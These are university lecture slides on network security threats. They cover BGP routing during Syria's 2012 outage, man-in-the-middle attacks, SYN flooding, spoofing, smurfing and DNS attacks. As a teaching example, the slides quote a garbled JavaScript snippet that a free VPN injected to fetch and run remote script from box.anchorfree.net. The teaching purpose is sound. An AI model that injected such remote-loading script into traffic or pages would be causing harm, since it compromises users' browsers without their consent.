Network Security Threats

KAMI VANIEA
18 JANUARY

http://www.inf.ed.ac.uk/teaching/courses/cs/

First, some news...
Or in this case, some ols...


Syria going offline – November 2012

- Going offline: https://player.vimeo.com/video/54630037
- Going online: https://player.vimeo.com/video/54670123

Syria's AS is directly connected to three other AS’s. Each number is an AS, which is a network run by a single group. Each colored line is the current shortest path between two AS's. Lines on this graph connect Syria to other parts of the world.

Syria is network 29386 in the center

Paths shift all the time. This is normal on the internet as the current shortest path is dynamically negotiated (BGP routing).

Syria’s AS is, directly connected to three other AS’s.

FAQs

- Do you require programming knowledge?
  - Yes, but only in general. You should know about object oriented and procedural languages.
- Can I skip one of the lectures?
  - We do not take attendance or give out marked quizzes. But we also do not record lectures.
- Are the courseworks practical or theoretical?
  - Both. We have one practical coursework and one theoretical coursework that are marked.
- Where is the course webpage?
  - http://www.inf.ed.ac.uk/teaching/courses/cs/
Internet attacks and defenses

1. Someone finds an exploit
2. Exploit seen in the wild, possibly to large effect
3. Short-term workarounds; specific detection/recovery
4. Proper repairs to software or protocols are issued
5. Over time, most sites implement repairs
6. Remaining sites may be black-listed

Types of threats
- **Interception** – Unauthorized viewing of information (Confidentiality)
- **Modification** – Unauthorized changing of information (Integrity)
- **Fabrication** – Unauthorized creation of information (Integrity)
- **Interuption** – Preventing authorized access (Availability)

Today we will focus on:
- Man in the middle
- Denial of service
- DNS attack

During normal operation:
- My laptop always has the same IP address.
  - False
- My laptop always has the same MAC wireless address.
  - True
- VPNS hide my laptops IP from the web site I am visiting.
  - True
- VPNS protect my data from modification between my computer and the destination website.
  - False – VPNS only protect to VPN endpoint
- My ISP can add and change cookies sent to a website.
  - True – Unless the cookies are encrypted

Types of threats
- **Interception** – Unauthorized viewing of information (Confidentiality)
- **Modification** – Unauthorized changing of information (Integrity)
- **Fabrication** – Unauthorized creation of information (Integrity)
- **Interuption** – Preventing authorized access (Availability)

Man in the middle
• Charlie is in the middle between Alice and Bob.
• Charlie can:
  • View traffic
  • Change traffic
  • Add traffic
  • Delete traffic
• Charlie could be:
  • Internet service provider
  • Virtual Private Network (VPN) provider
  • WIFI provider such as a coffee shop
  • An attacker re-routing your connection
  • An incompetent admin (it happens)

The following is an attack that actually happened to a student of mine when they were trying to upload their “set a cookie” homework using a free VPN.
ANCHORFREE_VERSION="633161526";
var _AF2$ = (
'SN':"HSSHIELD00US",'IP':"216.172.135.223",'CH':"HSSCNL000550",'C T':"z51","HST":&sessStartTime=1422651438&accessLP=1,'AFH':"hss7 34","RN":Math.floor(Math.random()]*999),TOP:[parent.location=document.location],top.location=document.location)70.1,AFVER:3.42,"fbw":false,"FBWCNT"0,'FBWCNTNAME':'FBWCNT_FIREFOX','NO FBWNAME':"NO_FBW_FIREFOX","B":false;'VER':
'us'];if(_AF2$.TOP==1){
}

This code is downloading more Javascript from box.anchorfree.net and running it on the client.

document.write("<scr"+ipt
src="http://box.anchorfree.net/insert(insert.php?sn=+_AF2$.SN+'&ch="+_AF2$.CH '+"&v="+ANCHORFREE_VERSION+6+'&b="+_AF2$. B+'&v"+"&afver="+_AF2$.AFVER+'" type=text/javascript"></scr"+ipt");}
Think-pair-share

- Think quietly to yourself for 1 minute
- Pair with your neighbor for 3 minutes
- Share with the class – group discussion

**Think-pair-share:**

- Why do this attack at all?
- This code is complex for a reason, what is it?

In short:
Dangerous stuff happens on the Internet, do not assume data will be safe in transit

---

**Denial of Service (DoS)**

An attack that prevents valid users from accessing a service.

**Common examples:**
- Cutting power, cables, etc.
- Overloading a server with invalid traffic
- Removing a user account

**Attacks:**
- SYN flooding
- Spoofing
- Smurfing

**Denial of Service (DoS):**
An attack that prevents valid users from accessing a service.

Common examples:
- Cutting power, cables, etc.
- Overloading a server with invalid traffic
- Removing a user account

**Attacks:**
- SYN flooding
- Spoofing
- Smurfing

**In short:**
Dangerous stuff happens on the Internet, do not assume data will be safe in transit
SYN Flooding

Send tons of requests at the victim and overload them.

- Basic three-part handshake used by Alice to initiate a TCP connection with Bob.
  
  \[
  A \rightarrow B: \text{SYN}, X \\
  B \rightarrow A: \text{ACK}, X + 1: \text{SYN}, Y \\
  A \rightarrow B: \text{ACK}, Y + 1
  \]

- Alice sends many SYN packets, without acknowledging any replies. Bob accumulates more SYN packets than he can handle.

Spoofing: forged TCP packets

- Same as SYN flooding, but forge the source of the TCP packet

- Advantages:
  - Harder to trace
  - ACKs are sent to a second computer, less attacker bandwidth used

- Problems:
  - Ingress filtering is commonly used to drop packets with source addresses outside their origin network fragment.
Smurfing (directed broadcast)

- The smurfing attack exploits the ICMP (Internet Control Message Protocol) whereby remote hosts respond to echo packets to say they are alive (ping).
- Some implementations respond to pings to broadcast addresses.
- Idea: Ping a LAN to find hosts, which then all respond to the ping.
- Attack: make a packet with a forged source address containing the victim’s IP number. Send it to a smurf amplifier, who swamp the target with replies.

Smurfing example
- Each node responds to victim

Distributed Denial of Service (DDoS)

A large number of machines work together to perform an attack that prevents valid users from accessing a service.

Common examples:
- Slashdot effect – a large number of valid users all try and access at once.
- Botnets
- Amazon web services

LANs that allow Smurf attacks are badly configured. One approach is to blacklist these LANs.

DNS attacks
Domain Name Service (DNS)

- The DNS service translates human friendly URLs such as http://vaniea.com to their IP address such as 69.163.145.230.
- Mappings between URLs and IPs are not static.
- One domain, such as google.com, may have many IP addresses associated with it.
- One way to get in the middle or deny access is to change a DNS entry record.

Questions